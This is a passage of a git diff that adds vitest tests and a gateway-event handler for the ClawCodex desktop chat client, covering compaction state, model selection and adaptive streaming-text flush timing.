+    hydrateFromStoredSession: vi.fn(async () => undefined),
+    queryClient: queryClientRef.current,
+    refreshClawCodexConfig: vi.fn(async () => undefined),
+    refreshSessions: vi.fn(async () => undefined),
+    sessionStateByRuntimeIdRef,
+    updateSessionState: (sessionId, updater) => {
+      const current = sessionStateByRuntimeIdRef.current.get(sessionId) ?? createClientSessionState()
+      const next = updater(current)
+      sessionStateByRuntimeIdRef.current.set(sessionId, next)
+
+      return next
+    }
+  })
+
+  useEffect(() => {
+    handleEvent = stream.handleGatewayEvent
+  }, [stream.handleGatewayEvent])
+
+  return null
+}
+
+async function mountStream() {
+  render(<Harness />)
+  await waitFor(() => expect(handleEvent).not.toBeNull())
+}
+
+function emit(type: RpcEvent['type'], payload: RpcEvent['payload'] = {}) {
+  act(() => handleEvent!({ payload, session_id: SID, type }))
+}
+
+describe('useMessageStream compaction lifecycle', () => {
+  beforeEach(() => {
+    handleEvent = null
+    $compactingSessions.set({})
+  })
+
+  afterEach(() => {
+    cleanup()
+    $compactingSessions.set({})
+    vi.restoreAllMocks()
+  })
+
+  it.each([
+    ['message.delta', { text: 'resumed' }],
+    ['thinking.delta', { text: 'still working' }],
+    ['reasoning.delta', { text: 'thinking again' }],
+    ['tool.start', { name: 'terminal', tool_id: 'tool-1' }]
+  ] as const)('clears the stale compaction phase when %s resumes the turn', async (type, payload) => {
+    await mountStream()
+    setSessionCompacting(OTHER_SID, true)
+
+    emit('status.update', { kind: 'compacting' })
+    expect($compactingSessions.get()).toEqual({ [OTHER_SID]: true, [SID]: true })
+
+    emit(type, payload)
+
+    expect($compactingSessions.get()).toEqual({ [OTHER_SID]: true })
+  })
+
+  it('clears the compaction phase on the structured completion edge', async () => {
+    await mountStream()
+    setSessionCompacting(OTHER_SID, true)
+
+    emit('status.update', { kind: 'compacting' })
+    emit('status.update', { kind: 'compacted' })
+
+    expect($compactingSessions.get()).toEqual({ [OTHER_SID]: true })
+  })
+})
diff --git a/ui-desktop/src/app/session/hooks/use-message-stream/composer-model-event.test.tsx b/ui-desktop/src/app/session/hooks/use-message-stream/composer-model-event.test.tsx
new file mode 100644
index 000000000..151bec6b7
--- /dev/null
+++ b/ui-desktop/src/app/session/hooks/use-message-stream/composer-model-event.test.tsx
@@ -0,0 +1,99 @@
+import { QueryClient } from '@tanstack/react-query'
+import { act, cleanup, render, waitFor } from '@testing-library/react'
+import { useEffect, useRef } from 'react'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import type { ClientSessionState } from '@/app/types'
+import { createClientSessionState } from '@/lib/chat-runtime'
+import {
+  $currentModel,
+  $currentProvider,
+  setCurrentModel,
+  setCurrentModelSource,
+  setCurrentProvider
+} from '@/store/session'
+import type { RpcEvent } from '@/types/clawcodex'
+
+import { useMessageStream } from './index'
+
+let handleEvent: ((event: RpcEvent) => void) | null = null
+
+function Harness({ activeSessionId }: { activeSessionId: string | null }) {
+  const sessionIdRef = useRef<string | null>(activeSessionId)
+  const sessionStateByRuntimeIdRef = useRef(new Map<string, ClientSessionState>())
+  const queryClientRef = useRef(new QueryClient())
+
+  sessionIdRef.current = activeSessionId
+
+  const stream = useMessageStream({
+    activeSessionIdRef: sessionIdRef,
+    hydrateFromStoredSession: vi.fn(async () => undefined),
+    queryClient: queryClientRef.current,
+    refreshClawCodexConfig: vi.fn(async () => undefined),
+    refreshSessions: vi.fn(async () => undefined),
+    sessionStateByRuntimeIdRef,
+    updateSessionState: (sessionId, updater) => {
+      const current = sessionStateByRuntimeIdRef.current.get(sessionId) ?? createClientSessionState()
+      const next = updater(current)
+      sessionStateByRuntimeIdRef.current.set(sessionId, next)
+
+      return next
+    }
+  })
+
+  useEffect(() => {
+    handleEvent = stream.handleGatewayEvent
+  }, [stream.handleGatewayEvent])
+
+  return null
+}
+
+async function mountStream(activeSessionId: string | null) {
+  render(<Harness activeSessionId={activeSessionId} />)
+  await waitFor(() => expect(handleEvent).not.toBeNull())
+}
+
+describe('session.info does not clobber composer model selection', () => {
+  beforeEach(() => {
+    handleEvent = null
+    setCurrentModel('deepseek-v4-flash')
+    setCurrentProvider('deepseek')
+    setCurrentModelSource('manual')
+  })
+
+  afterEach(() => {
+    cleanup()
+    vi.restoreAllMocks()
+    setCurrentModel('')
+    setCurrentProvider('')
+    setCurrentModelSource('')
+  })
+
+  it('keeps a sticky manual pick when a global session.info carries the profile default', async () => {
+    await mountStream(null)
+
+    act(() =>
+      handleEvent!({
+        payload: { model: 'deepseek-chat', provider: 'deepseek' },
+        type: 'session.info'
+      })
+    )
+
+    expect($currentModel.get()).toBe('deepseek-v4-flash')
+    expect($currentProvider.get()).toBe('deepseek')
+  })
+
+  it('keeps the composer pick when an unscoped session.info arrives with no live session', async () => {
+    await mountStream(null)
+
+    act(() =>
+      handleEvent!({
+        payload: { cwd: '/tmp/project', model: 'deepseek-chat', provider: 'deepseek' },
+        type: 'session.info'
+      })
+    )
+
+    expect($currentModel.get()).toBe('deepseek-v4-flash')
+    expect($currentProvider.get()).toBe('deepseek')
+  })
+})
diff --git a/ui-desktop/src/app/session/hooks/use-message-stream/delta-flush.test.tsx b/ui-desktop/src/app/session/hooks/use-message-stream/delta-flush.test.tsx
new file mode 100644
index 000000000..11e2343ff
--- /dev/null
+++ b/ui-desktop/src/app/session/hooks/use-message-stream/delta-flush.test.tsx
@@ -0,0 +1,421 @@
+import { QueryClient } from '@tanstack/react-query'
+import { act, cleanup, render } from '@testing-library/react'
+import { type MutableRefObject, useEffect, useRef } from 'react'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import type { ClientSessionState } from '@/app/types'
+import type { ChatMessage } from '@/lib/chat-messages'
+import { createClientSessionState } from '@/lib/chat-runtime'
+
+import { useSessionStateCache } from '../use-session-state-cache'
+
+import { useMessageStream } from './index'
+
+const SID = 'session-1'
+let appendAssistantDelta: ((sessionId: string, delta: string) => void) | null = null
+let states: Map<string, ClientSessionState>
+type UpdateSessionState = (
+  sessionId: string,
+  updater: (state: ClientSessionState) => ClientSessionState,
+  storedSessionId?: string | null
+) => ClientSessionState
+let updateSessionState: ReturnType<typeof vi.fn<UpdateSessionState>>
+
+function Harness() {
+  const activeSessionIdRef = useRef<string | null>(SID)
+  const sessionStateByRuntimeIdRef = useRef(states)
+  const queryClientRef = useRef(new QueryClient())
+
+  const stream = useMessageStream({
+    activeSessionIdRef,
+    hydrateFromStoredSession: vi.fn(async () => undefined),
+    queryClient: queryClientRef.current,
+    refreshClawCodexConfig: vi.fn(async () => undefined),
+    refreshSessions: vi.fn(async () => undefined),
+    sessionStateByRuntimeIdRef,
+    updateSessionState
+  })
+
+  useEffect(() => {
+    appendAssistantDelta = stream.appendAssistantDelta
+  }, [stream.appendAssistantDelta])
+
+  return null
+}
+
+function mountStream() {
+  render(<Harness />)
+  expect(appendAssistantDelta).not.toBeNull()
+}
+
+function assistantText() {
+  const message = states.get(SID)?.messages.at(-1)
+  const part = message?.parts.at(-1)
+
+  return part?.type === 'text' ? part.text : ''
+}
+
+describe('useMessageStream delta flush scheduling', () => {
+  beforeEach(() => {
+    vi.useFakeTimers()
+    appendAssistantDelta = null
+    states = new Map()
+    updateSessionState = vi.fn((sessionId: string, updater: (state: ClientSessionState) => ClientSessionState) => {
+      const next = updater(states.get(sessionId) ?? createClientSessionState())
+      states.set(sessionId, next)
+
+      return next
+    })
+    vi.spyOn(performance, 'now').mockReturnValue(100)
+    vi.spyOn(window, 'requestAnimationFrame').mockImplementation(() => 1)
+    vi.spyOn(window, 'cancelAnimationFrame').mockImplementation(() => undefined)
+    vi.spyOn(document, 'hasFocus').mockReturnValue(false)
+  })
+
+  afterEach(() => {
+    cleanup()
+    vi.useRealTimers()
+    vi.restoreAllMocks()
+  })
+
+  it('flushes streaming text on a bounded timer while the window is unfocused', async () => {
+    mountStream()
+
+    act(() => appendAssistantDelta!(SID, 'still streaming'))
+
+    expect(window.requestAnimationFrame).not.toHaveBeenCalled()
+    expect(assistantText()).toBe('')
+
+    await act(async () => {
+      await vi.advanceTimersByTimeAsync(0)
+    })
+
+    expect(assistantText()).toBe('still streaming')
+  })
+
+  it('flushes queued text immediately when a hidden window becomes visible', () => {
+    vi.mocked(performance.now).mockReturnValue(0)
+    mountStream()
+
+    act(() => appendAssistantDelta!(SID, 'caught up on focus'))
+    expect(assistantText()).toBe('')
+    expect(vi.getTimerCount()).toBe(1)
+
+    Object.defineProperty(globalThis.document, 'visibilityState', {
+      configurable: true,
+      value: 'visible'
+    })
+
+    act(() => globalThis.document.dispatchEvent(new Event('visibilitychange')))
+
+    expect(assistantText()).toBe('caught up on focus')
+    expect(vi.getTimerCount()).toBe(0)
+  })
+
+  it('flushes queued text on focus when visibility remains visible', () => {
+    vi.mocked(performance.now).mockReturnValue(0)
+    Object.defineProperty(globalThis.document, 'visibilityState', {
+      configurable: true,
+      value: 'visible'
+    })
+    mountStream()
+
+    act(() => appendAssistantDelta!(SID, 'focused without visibility change'))
+    expect(assistantText()).toBe('')
+    expect(vi.getTimerCount()).toBe(1)
+
+    act(() => globalThis.window.dispatchEvent(new Event('focus')))
+
+    expect(assistantText()).toBe('focused without visibility change')
+  })
+
+  it('cancels the pending timer on unmount and flushes exactly once', async () => {
+    vi.mocked(performance.now).mockReturnValue(0)
+    mountStream()
+
+    act(() => appendAssistantDelta!(SID, 'final delta'))
+    expect(vi.getTimerCount()).toBe(1)
+
+    cleanup()
+
+    expect(vi.getTimerCount()).toBe(0)
+    expect(assistantText()).toBe('final delta')
+    const updatesAfterUnmount = updateSessionState.mock.calls.length
+
+    await vi.advanceTimersByTimeAsync(100)
+
+    expect(updateSessionState).toHaveBeenCalledTimes(updatesAfterUnmount)
+    expect(window.requestAnimationFrame).not.toHaveBeenCalled()
+  })
+
+  it('stretches the flush gap when the deferred commit frame is expensive', async () => {
+    // The streaming-path $messages publish (React commit + Streamdown
+    // re-parse) is deferred to a view-sync rAF inside updateSessionState, so
+    // the flush cost must be measured through that frame. Simulate one
+    // expensive frame and expect the next gap to adapt to 3x the frame cost.
+    let now = 1000
+    vi.mocked(performance.now).mockImplementation(() => now)
+    const rafCallbacks: FrameRequestCallback[] = []
+    vi.mocked(window.requestAnimationFrame).mockImplementation(cb => {
+      rafCallbacks.push(cb)
+
+      return rafCallbacks.length
+    })
+
+    mountStream()
+
+    act(() => appendAssistantDelta!(SID, 'first'))
+    await act(async () => {
+      await vi.advanceTimersByTimeAsync(0)
+    })
+
+    expect(assistantText()).toBe('first')
+    expect(rafCallbacks).toHaveLength(1)
+
+    // Frame started at 1040, the measurement callback runs at 1100: 60ms of
+    // in-frame work (view sync + commit), so the next floor is 180ms.
+    now = 1100
+    act(() => rafCallbacks[0](1040))
+
+    act(() => appendAssistantDelta!(SID, 'second'))
+    await act(async () => {
+      await vi.advanceTimersByTimeAsync(79)
+    })
+
+    expect(assistantText()).toBe('first')
+
+    await act(async () => {
+      await vi.advanceTimersByTimeAsync(1)
+    })
+
+    expect(assistantText()).toBe('firstsecond')
+  })
+
+  it('keeps the write-cost floor when no frame fires (hidden renderer)', async () => {
+    // A parked renderer never runs rAF callbacks. The cost must stay at the
+    // synchronous store-write measurement so the gap falls back to the fixed
+    // 33ms floor instead of waiting on a frame that will never come.
+    let now = 1000
+    vi.mocked(performance.now).mockImplementation(() => now)
+    vi.mocked(window.requestAnimationFrame).mockImplementation(() => 1)
+
+    mountStream()
+
+    act(() => appendAssistantDelta!(SID, 'first'))
+    await act(async () => {
+      await vi.advanceTimersByTimeAsync(0)
+    })
+
+    expect(assistantText()).toBe('first')
+
+    // 100ms later (well past the 33ms floor): the next flush is immediate.
+    now = 1100
+    act(() => appendAssistantDelta!(SID, 'second'))
+    await act(async () => {
+      await vi.advanceTimersByTimeAsync(0)
+    })
+
+    expect(assistantText()).toBe('firstsecond')
+  })
+
+  it('ignores a late frame measurement once a newer flush has started', async () => {
+    let now = 1000
+    vi.mocked(performance.now).mockImplementation(() => now)
+    const rafCallbacks: FrameRequestCallback[] = []
+    vi.mocked(window.requestAnimationFrame).mockImplementation(cb => {
+      rafCallbacks.push(cb)
+
+      return rafCallbacks.length
+    })
+
+    mountStream()
+
+    act(() => appendAssistantDelta!(SID, 'a'))
+    await act(async () => {
+      await vi.advanceTimersByTimeAsync(0)
+    })
+
+    // A second flush starts before the first flush's frame lands.
+    now = 1010
+    act(() => appendAssistantDelta!(SID, 'b'))
+    await act(async () => {
+      await vi.advanceTimersByTimeAsync(23)
+    })
+
+    expect(assistantText()).toBe('ab')
+    expect(rafCallbacks).toHaveLength(2)
+
+    // The stale callback must not overwrite the newer flush's cost. If it
+    // did, cost would read 30ms and the next gap would stretch to 70ms.
+    now = 1030
+    act(() => rafCallbacks[0](1000))
+
+    act(() => appendAssistantDelta!(SID, 'c'))
+    await act(async () => {
+      await vi.advanceTimersByTimeAsync(13)
+    })
+
+    expect(assistantText()).toBe('abc')
+  })
+})
+
+describe('useMessageStream composed with the real useSessionStateCache', () => {
+  // The tests above mock updateSessionState, so they validate the adaptive
+  // arithmetic but not the production ordering contract: runFlush's
+  // measurement rAF must be registered AFTER the view-sync rAF that the real
+  // updateSessionState schedules inside syncSessionStateToView, so the
+  // measured frame cost includes the deferred $messages commit it adapts to.
+  let cache: ReturnType<typeof useSessionStateCache> | null = null
+  let published: ChatMessage[]
+
+  function ComposedHarness() {
+    const busyRef: MutableRefObject<boolean> = { current: false }
+    const queryClientRef = useRef(new QueryClient())
+
+    const sessionCache = useSessionStateCache({
+      activeSessionId: SID,
+      busyRef,
+      selectedStoredSessionId: null,
+      setAwaitingResponse: () => undefined,
+      setBusy: () => undefined,
+      setMessages: messages => {
+        published = messages
+      }
+    })
+
+    const stream = useMessageStream({
+      activeSessionIdRef: sessionCache.activeSessionIdRef,
+      hydrateFromStoredSession: vi.fn(async () => undefined),
+      queryClient: queryClientRef.current,
+      refreshClawCodexConfig: vi.fn(async () => undefined),
+      refreshSessions: vi.fn(async () => undefined),
+      sessionStateByRuntimeIdRef: sessionCache.sessionStateByRuntimeIdRef,
+      updateSessionState: sessionCache.updateSessionState
+    })
+
+    useEffect(() => {
+      appendAssistantDelta = stream.appendAssistantDelta
+      cache = sessionCache
+    }, [stream.appendAssistantDelta, sessionCache])
+
+    return null
+  }
+
+  function cachedText() {
+    const message = cache?.sessionStateByRuntimeIdRef.current.get(SID)?.messages.at(-1)
+    const part = message?.parts.at(-1)
+
+    return part?.type === 'text' ? part.text : ''
+  }
+
+  function publishedText() {
+    const part = published.at(-1)?.parts.at(-1)
+
+    return part?.type === 'text' ? part.text : ''
+  }
+
+  beforeEach(() => {
+    vi.useFakeTimers()
+    appendAssistantDelta = null
+    cache = null
+    published = []
+    vi.spyOn(performance, 'now').mockReturnValue(100)
+    vi.spyOn(window, 'requestAnimationFrame').mockImplementation(() => 1)
+    vi.spyOn(window, 'cancelAnimationFrame').mockImplementation(() => undefined)
+    vi.spyOn(document, 'hasFocus').mockReturnValue(false)
+  })
+
+  afterEach(() => {
+    cleanup()
+    vi.useRealTimers()
+    vi.restoreAllMocks()
+  })
+
+  it('measures the frame cost through the real view-sync rAF and adapts the next gap', async () => {
+    let now = 1000
+    vi.mocked(performance.now).mockImplementation(() => now)
+    const rafCallbacks: FrameRequestCallback[] = []
+    vi.mocked(window.requestAnimationFrame).mockImplementation(cb => {
+      rafCallbacks.push(cb)
+
+      return rafCallbacks.length
+    })
+
+    render(<ComposedHarness />)
+    expect(appendAssistantDelta).not.toBeNull()
+
+    // Mid-turn state: busy keeps the view sync on the deferred rAF path
+    // (terminal/needing-input states flush synchronously instead).
+    act(() => {
+      cache!.updateSessionState(SID, state => ({ ...state, busy: true }))
+    })
+    expect(rafCallbacks).toHaveLength(1)
+    // Drain the seed's own view-sync rAF so the flush below starts clean.
+    act(() => rafCallbacks.shift()!(now))
+
+    act(() => appendAssistantDelta!(SID, 'first'))
+    await act(async () => {
+      await vi.advanceTimersByTimeAsync(0)
+    })
+
+    // The store write landed synchronously, but the $messages publish is
+    // deferred: exactly two rAF callbacks are pending — first the cache's
+    // view-sync, then runFlush's measurement.
+    expect(cachedText()).toBe('first')
+    expect(publishedText()).toBe('')
+    expect(rafCallbacks).toHaveLength(2)
+
+    // Draining the FIRST registered callback must be what publishes the
+    // deferred commit; that identity is the ordering contract. It runs until
+    // 60ms into the frame (React commit + Streamdown re-parse).
+    now = 1100
+    act(() => rafCallbacks[0](1040))
+    expect(publishedText()).toBe('first')
+
+    // The measurement callback closes the same frame: 60ms of in-frame work,
+    // so the next adaptive floor is 3x = 180ms.
+    act(() => rafCallbacks[1](1040))
+
+    act(() => appendAssistantDelta!(SID, 'second'))
+    await act(async () => {
+      await vi.advanceTimersByTimeAsync(79)
+    })
+
+    expect(cachedText()).toBe('first')
+
+    await act(async () => {
+      await vi.advanceTimersByTimeAsync(1)
+    })
+
+    expect(cachedText()).toBe('firstsecond')
+  })
+
+  it('keeps the write-cost fallback when the parked renderer never fires rAF', async () => {
+    let now = 1000
+    vi.mocked(performance.now).mockImplementation(() => now)
+    // Parked renderer: rAF callbacks are accepted but never run.
+    vi.mocked(window.requestAnimationFrame).mockImplementation(() => 1)
+
+    render(<ComposedHarness />)
+
+    act(() => {
+      cache!.updateSessionState(SID, state => ({ ...state, busy: true }))
+    })
+
+    act(() => appendAssistantDelta!(SID, 'first'))
+    await act(async () => {
+      await vi.advanceTimersByTimeAsync(0)
+    })
+
+    expect(cachedText()).toBe('first')
+
+    // 100ms later (well past the 33ms floor): the next flush is immediate.
+    now = 1100
+    act(() => appendAssistantDelta!(SID, 'second'))
+    await act(async () => {
+      await vi.advanceTimersByTimeAsync(0)
+    })
+
+    expect(cachedText()).toBe('firstsecond')
+  })
+})
diff --git a/ui-desktop/src/app/session/hooks/use-message-stream/gateway-event.ts b/ui-desktop/src/app/session/hooks/use-message-stream/gateway-event.ts
new file mode 100644
index 000000000..478522365
--- /dev/null
+++ b/ui-desktop/src/app/session/hooks/use-message-stream/gateway-event.ts
@@ -0,0 +1,1284 @@
+import type { BillingBlock } from '@clawcodex/shared'
+import type { ClawCodexSkin } from '@clawcodex/shared/skin'
+import type { QueryClient } from '@tanstack/react-query'
+import { type MutableRefObject, useCallback, useEffect, useRef } from 'react'
+
+import { readActivePreview } from '@/app/chat/right-rail/preview-reader'
+import { writeAgentTerminalChunk } from '@/app/right-sidebar/terminal/agent-terminal-stream'
+import { readActiveTerminal } from '@/app/right-sidebar/terminal/buffer'
+import { closeAgentTerminalByProc } from '@/app/right-sidebar/terminal/terminals'
+import { burstVibeHearts } from '@/components/chat/vibe-hearts'
+import { translateNow } from '@/i18n'
+import { type GatewayEventPayload, textPart } from '@/lib/chat-messages'
+import { coerceGatewayText, coerceThinkingText, normalizePersonalityValue } from '@/lib/chat-runtime'
+import { playCompletionSound } from '@/lib/completion-sound'
+import { resolveGatewayEventSessionId } from '@/lib/gateway-events'
+import { triggerHaptic } from '@/lib/haptics'
+import { modelOptionsQueryKey } from '@/lib/model-options'
+import { isProviderSetupErrorMessage } from '@/lib/provider-setup-errors'
+import { invalidateSlashCompletions } from '@/lib/slash-completion-cache'
+import { type AgentNoticePayload, clearAgentNotice, nativeNoticeInput, showAgentNotice } from '@/store/agent-notices'
+import { reconcileApprovalModeForProfile } from '@/store/approval-mode'
+import { billingCtaLabel, clearBillingBlock, runBillingRecovery, setBillingBlock } from '@/store/billing-block'
+import { clearClarifyRequest, normalizeChoices, setClarifyRequest, warnDroppedChoices } from '@/store/clarify'
+import { setSessionCompacting } from '@/store/compaction'
+import { refreshBackgroundProcesses } from '@/store/composer-status'
+import { $gateway } from '@/store/gateway'
+import { applyGoalStatusText } from '@/store/goals'
+import {
+  notifyCronChanged,
+  notifyPairingChanged,
+  notifyPetChanged,
+  notifyPlatformsChanged,
+  notifySessionsChanged,
+  type PetChangeMeta,
+  setChangeEventsAvailable
+} from '@/store/live-sync'
+import { dispatchNativeNotification } from '@/store/native-notifications'
+import { isDiskFullErrorMessage, notify, notifyError } from '@/store/notifications'
+import { requestDesktopOnboarding, requestDesktopOnboardingForCredentialWarning } from '@/store/onboarding'
+import { revealDesktopPane } from '@/store/pane-focus'
+import { flashPetActivity, markPetUnread, setPetActivity } from '@/store/pet'
+import { $activeGatewayProfile, normalizeProfileKey } from '@/store/profile'
+import { followActiveSessionCwd } from '@/store/projects'
+import { clearAllPrompts, setApprovalRequest, setSecretRequest, setSudoRequest } from '@/store/prompts'
+import { recordAgentReaction } from '@/store/reactions-local'
+import {
+  $currentCwd,
+  $currentModel,
+  $currentProvider,
+  $selectedStoredSessionId,
+  $sessions,
+  sessionMatchesStoredId,
+  setCurrentBranch,
+  setCurrentCwd,
+  setCurrentFastMode,
+  setCurrentPersonality,
+  setCurrentReasoningEffort,
+  setCurrentServiceTier,
+  setCurrentUsage,
+  setMessages,
+  setSessions,
+  setTurnStartedAt,
+  setWorkspaceCwdOwner,
+  setYoloActive
+} from '@/store/session'
+import { dropSessionState } from '@/store/session-states'
+import { pruneDelegateFallbackSubagents, pruneFinishedSessionSubagents, upsertSubagent } from '@/store/subagents'
+import { clearActiveSessionTodos } from '@/store/todos'
+import { recordToolDiff } from '@/store/tool-diffs'
+import { setSessionDraftingTool } from '@/store/tool-drafting'
+import { reportInstallMethodWarning } from '@/store/updates'
+import { notifyWorkspaceChanged, toolChangedPath, toolMayMutateFiles } from '@/store/workspace-events'
+// Leaf import (not the `@/themes` barrel) to avoid pulling the ThemeProvider
+// module graph into the gateway event hot path.
+import { ingestBackendSkin } from '@/themes/backend-sync'
+import type { RpcEvent } from '@/types/clawcodex'
+
+import type { ClientSessionState } from '../../../types'
+import { finalizeInterruptedMessages } from '../use-prompt-actions/rewind'
+
+import { hasSessionInfoStatePatch, sessionInfoStatePatch, SUBAGENT_EVENT_TYPES, toTodoPayload } from './utils'
+
+function firstBillingLine(text: string): string {
+  return (text || '').split('\n')[0]?.trim() ?? ''
+}
+
+/**
+ * Whether a `session.info` payload's `stored_session_id` may be treated as the
+ * selected conversation's, so its cwd can be claimed for it (#71254).
+ *
+ * Absent is not the same as different: the backend omits the id on a
+ * not-yet-built (`lazy`) session, and refusing there would leave the workspace
+ * marked un-owned for the rest of the conversation. Matching goes through the
+ * lineage (`sessionMatchesStoredId`) so a compression-rotated tip and the root
+ * a pinned-row selection may hold still read as one conversation.
+ */
+function sessionInfoDescribesSelectedSession(storedSessionId: string | undefined): boolean {
+  const infoStoredSessionId = storedSessionId?.trim() || null
+  const selected = $selectedStoredSessionId.get() ?? null
+
+  if (!infoStoredSessionId) {
+    return true
+  }
+
+  // A named session cannot describe a fresh draft. Treating a null selection as
+  // a wildcard let a background tile's `session.info` rehome the draft to the
+  // tile's workspace.
+  if (!selected) {
+    return false
+  }
+
+  if (infoStoredSessionId === selected) {
+    return true
+  }
+
+  // Either id may be the live tip or the lineage root, so ask whether ONE row
+  // answers to both rather than assuming which side rotated.
+  return $sessions
+    .get()
+    .some(session => sessionMatchesStoredId(session, infoStoredSessionId) && sessionMatchesStoredId(session, selected))
+}
+
+/**
+ * A turn failed on a billing wall (out of credits / payment required). The
+ * gateway forwards the structured descriptor built by `agent/billing_links.py`;
+ * we cache it per-session (drives the in-chat banner) AND raise one sticky,
+ * billing-specific toast — never the generic "ClawCodex error" — with a smart CTA
+ * (Nous → in-app Settings → Billing, other providers → their billing page).
+ */
+function surfaceBillingBlock(sessionId: string, raw: unknown): void {
+  if (!raw || typeof raw !== 'object') {
+    return
+  }
+
+  const block = raw as BillingBlock
+
+  if (typeof block.provider !== 'string') {
+    return
+  }
+
+  setBillingBlock(sessionId, block)
+
+  const ctaCopy = {
+    addCredits: translateNow('billingBlock.addCredits'),
+    openBilling: translateNow('billingBlock.openBilling')
+  }
+
+  notify({
+    // Collapse repeat walls from the same provider into one toast.
+    id: `billing-block:${block.provider}`,
+    kind: 'warning',
+    icon: 'credit-card',
+    title: block.is_nous
+      ? translateNow('billingBlock.titleNous')
+      : translateNow('billingBlock.titleProvider', block.provider_label),
+    message: firstBillingLine(block.message) || translateNow('billingBlock.fallbackMessage'),
+    // Sticky: a credit wall blocks every turn until resolved.
+    durationMs: 0,
+    action: { label: billingCtaLabel(block, ctaCopy), onClick: () => runBillingRecovery(block) }
+  })
+}
+
+/**
+ * Events that retire a "drafting a tool call" claim.
+ *
+ * `tool.generating` opens the claim and nothing closes it — a draft can be
+ * abandoned without ever reaching `tool.start`, so enumerating the ways one
+ * *ends* left the label on screen for the rest of the turn. Inverted: the
+ * claim only covers what the model is emitting right now, and any other output
+ * from the session proves it moved on. Same rule the TUI applies to its
+ * transient trail lines (`turnController.pruneTransient`).
+ */
+const DRAFT_SUPERSEDING_EVENT_TYPES = new Set([
+  'error',
+  'message.complete',
+  'message.delta',
+  'message.start',
+  'reasoning.delta',
+  'thinking.delta',
+  'tool.complete',
+  'tool.progress',
+  'tool.start'
+])
+
+const COMPACTION_RESUME_EVENT_TYPES = new Set([
+  'message.delta',
+  'message.interim',
+  'thinking.delta',
+  'reasoning.delta',
+  'reasoning.available',
+  'moa.reference',
+  'moa.aggregating',
+  'moa.progress',
+  'moa.phase',
+  'tool.start',
+  'tool.progress',
+  'tool.generating',
+  'tool.complete'
+])
+
+interface GatewayEventDeps {
+  activeGatewayProfile: string
+  activeSessionIdRef: MutableRefObject<string | null>
+  compactedTurnRef: MutableRefObject<Set<string>>
+  lastCwdInfoSessionRef: MutableRefObject<string | null>
+  nativeSubagentSessionsRef: MutableRefObject<Set<string>>
+  appendAssistantDelta: (sessionId: string, delta: string) => void
+  appendReasoningDelta: (sessionId: string, delta: string, replace?: boolean) => void
+  completeAssistantMessage: (
+    sessionId: string,
+    text: string,
+    responsePreviewed?: boolean,
+    failure?: { error: string; partial: boolean }
+  ) => void
+  failAssistantMessage: (sessionId: string, errorMessage: string) => void
+  flushQueuedDeltas: (sessionId?: string) => void
+  finalizeInterimAssistantMessage: (sessionId: string, text: string) => void
+  queryClient: QueryClient
+  refreshClawCodexConfig: () => Promise<void>
+  sessionInterrupted: (sessionId: string) => boolean
+  sessionStateByRuntimeIdRef: MutableRefObject<Map<string, ClientSessionState>>
+  updateSessionState: (
+    sessionId: string,
+    updater: (state: ClientSessionState) => ClientSessionState,
+    storedSessionId?: string | null
+  ) => ClientSessionState
+  upsertToolCall: (
+    sessionId: string,
+    payload: GatewayEventPayload | undefined,
+    phase: 'running' | 'complete',
+    sourceEventType?: string
+  ) => void
+}
+
+/** The gateway-event dispatcher, extracted from useMessageStream. */
+export function useGatewayEventHandler(deps: GatewayEventDeps) {
+  const {
+    appendAssistantDelta,
+    appendReasoningDelta,
+    activeGatewayProfile,
+    activeSessionIdRef,
+    compactedTurnRef,
+    lastCwdInfoSessionRef,
+    nativeSubagentSessionsRef,
+    completeAssistantMessage,
+    failAssistantMessage,
+    flushQueuedDeltas,
+    finalizeInterimAssistantMessage,
+    queryClient,
+    refreshClawCodexConfig,
+    sessionInterrupted,
+    sessionStateByRuntimeIdRef,
+    updateSessionState,
+    upsertToolCall
+  } = deps
+
+  const unscopedStreamSessionIdRef = useRef<string | null>(null)
+
+  // session.info arrives in bursts (agent build ready + turn end + title /
+  // MCP / compress edges within the same second). Each used to fire its own
+  // refreshClawCodexConfig — two REST calls (config + defaults) per event, per
+  // turn, including for BACKGROUND sessions whose values the fetch can't even
+  // apply. Coalesce to one trailing fetch per burst; the caller gates on
+  // `apply` so background traffic doesn't schedule anything.
+  const configRefreshTimerRef = useRef<null | number>(null)
+
+  const scheduleConfigRefresh = useCallback(() => {
+    if (configRefreshTimerRef.current !== null) {
+      return
+    }
+
+    if (typeof window === 'undefined') {
+      void refreshClawCodexConfig()
+
+      return
+    }
+
+    configRefreshTimerRef.current = window.setTimeout(() => {
+      configRefreshTimerRef.current = null
+      void refreshClawCodexConfig()
+    }, 300)
+  }, [refreshClawCodexConfig])
+
+  useEffect(
+    () => () => {
+      if (configRefreshTimerRef.current !== null && typeof window !== 'undefined') {
+        window.clearTimeout(configRefreshTimerRef.current)
+        configRefreshTimerRef.current = null
+      }
+    },
+    []
+  )
+
+  return useCallback(
+    (event: RpcEvent) => {
+      const payload = event.payload as GatewayEventPayload | undefined
+      const explicitSid = event.session_id || ''
+
+      const route = resolveGatewayEventSessionId({
+        activeSessionId: activeSessionIdRef.current,
+        eventType: event.type,
+        explicitSessionId: explicitSid,
+        unscopedStreamSessionId: unscopedStreamSessionIdRef.current
+      })
+
+      unscopedStreamSessionIdRef.current = route.nextUnscopedStreamSessionId
+
+      if (route.drop) {
+        return
+      }
+
+      const sessionId = route.sessionId
+      const isActiveEvent = !!sessionId && sessionId === activeSessionIdRef.current
+
+      // Mid-turn compaction does not emit another message.start. The first
+      // model output or tool event proves summarization has finished and the
+      // turn has resumed, so retire the phase label without waiting for the
+      // whole turn to complete.
+      if (sessionId && COMPACTION_RESUME_EVENT_TYPES.has(event.type) && compactedTurnRef.current.has(sessionId)) {
+        setSessionCompacting(sessionId, false)
+      }
+
+      if (sessionId && DRAFT_SUPERSEDING_EVENT_TYPES.has(event.type)) {
+        setSessionDraftingTool(sessionId, '')
+      }
+
+      if (event.type === 'gateway.ready') {
+        // Seed the active skin into the desktop theme registry without applying,
+        // so a fresh connect never overrides the user's persisted desktop theme.
+        ingestBackendSkin((payload as { skin?: ClawCodexSkin } | undefined)?.skin, { apply: false })
+        // Backends with the change watcher broadcast pet/cron/sessions change
+        // events; consumers demote their legacy polls to slow backstops.
+        setChangeEventsAvailable(Boolean((payload as { change_events?: boolean } | undefined)?.change_events))
+
+        return
+      } else if (event.type === 'skin.changed') {
+        // A runtime skin switch (ClawCodex activating an authored skin, or `/skin`
+        // on another surface). Only the active profile's change repaints.
+        const fromActiveProfile =
